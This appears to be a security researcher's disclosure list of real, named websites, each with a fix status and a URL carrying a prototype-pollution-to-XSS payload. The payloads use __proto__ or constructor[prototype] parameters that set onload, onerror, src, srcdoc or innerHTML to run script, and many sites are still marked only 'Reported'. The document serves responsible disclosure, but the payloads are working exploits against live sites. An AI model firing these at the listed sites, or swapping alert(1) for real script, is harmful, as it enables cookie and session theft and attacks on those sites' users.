mebelvia.ru Reported https://mebelvia.ru/?__proto__[1]=alert(1)//

medifast1.com Fixed https://www.medifast1.com/privacy?__proto__[onload]=alert(1)

miabellebaby.com Reported https://miabellebaby.com/collections/mommy-and-me-tops/?__proto__[src]=data:,alert(1)//

mikurestaurant.com Reported https://mikurestaurant.com/?__proto__%5Bonload%5D=alert%281%29&__proto__%5Bsrc%5D=1
&__proto__%5Bonerror%5D=alert%281%29

modernonmonticello.com Reported https://modernonmonticello.com/completing-the-construction-phase-one-room-challenge-week-3/
?__proto__[onload]=alert(1)

oxessays.com Reported https://oxessays.com?__proto__[src]=data:,alert(1)//

paperfellows.com Reported https://paperfellows.com/?__proto__[src]=data:,alert(1)//

percussion.com Reported https://www.percussion.com/percussion-cms/prior-versions/?__proto__[src]=1
&__proto__[onerror]=alert(1)&__proto__[onload]=alert(1)

popularresistance.org Reported
https://popularresistance.org/
new-iea-roadmap-is-flawed-swapping-burning-wood-for-coal-wont-save-the-climate/
?__proto__[onerror]=alert(1)

pro-salesinc.com Reported https://www.pro-salesinc.com/default.asp?__proto__[srcdoc]=%3Cscript%3Ealert(1)%3C/script%3E
&page=xAllInventory&make=audi

psychologytomorrowmagazine.com Reported https://psychologytomorrowmagazine.com/?__proto__%5BpreventDefault%5D=x&__proto__%5BhandleObj%5D=x
&__proto__%5BdelegateTarget%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%281%29%3E

ririnco.com Reported https://ririnco.com/?constructor[prototype][src]=data:,alert(1)//

rizknows.com Reported https://www.rizknows.com/deals/daily-deal-new-balance-shoes/?__proto__[onload]=alert(1)

rstudio.org Reported https://www.rstudio.com/?__proto__[1]=alert(1)//

smallforbig.com Reported https://smallforbig.com?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>

talentera.com Reported https://www.talentera.com/en/retail-hospitality?__proto__[srcdoc]=%3Cscript%3Ealert(1)%3C/script%3E

timeblock.ru Reported https://timeblock.ru/nutricevtika/nutricevtika-timeblock-iz-chego-sostoit/
?__proto__[src]=data:,alert(1)//

timsykeswatchlist.com Partially fixed https://timsykeswatchlist.com/?__proto__[tagName]=img&__proto__[src][]=x:
&__proto__[onerror][]=alert(1)

tipsfromatypicalmomblog.com Partially fixed
https://www.tipsfromatypicalmomblog.com/2020/01/mexican-street-corn-salad-family-
friendly-side-dish.html/
?__proto__[onload]=alert(1)&__proto__[src]=1&__proto__[onerror]=alert(1)

toosmall.org Partially fixed http://toosmall.org/?__proto__[onload]=alert(1)&__proto__[src]=1&__proto__[onerror]=alert(1)

wearpact.com Reported https://wearpact.com?__proto__[url][]=data:,alert(1)//&__proto__[dataType]=script

westmarine.com Reported https://www.westmarine.com/cart/?__proto__[onload]=console.log(%22XSS%22)

whatsinthebible.com Reported https://whatsinthebible.com/privacy/?__proto__[onload]=alert(1)

wattpad.com Confirmed https://www.wattpad.com/?__proto__.context=%3Cimg/src/onerror%3dalert(1)%3E&__proto__.jquery=x
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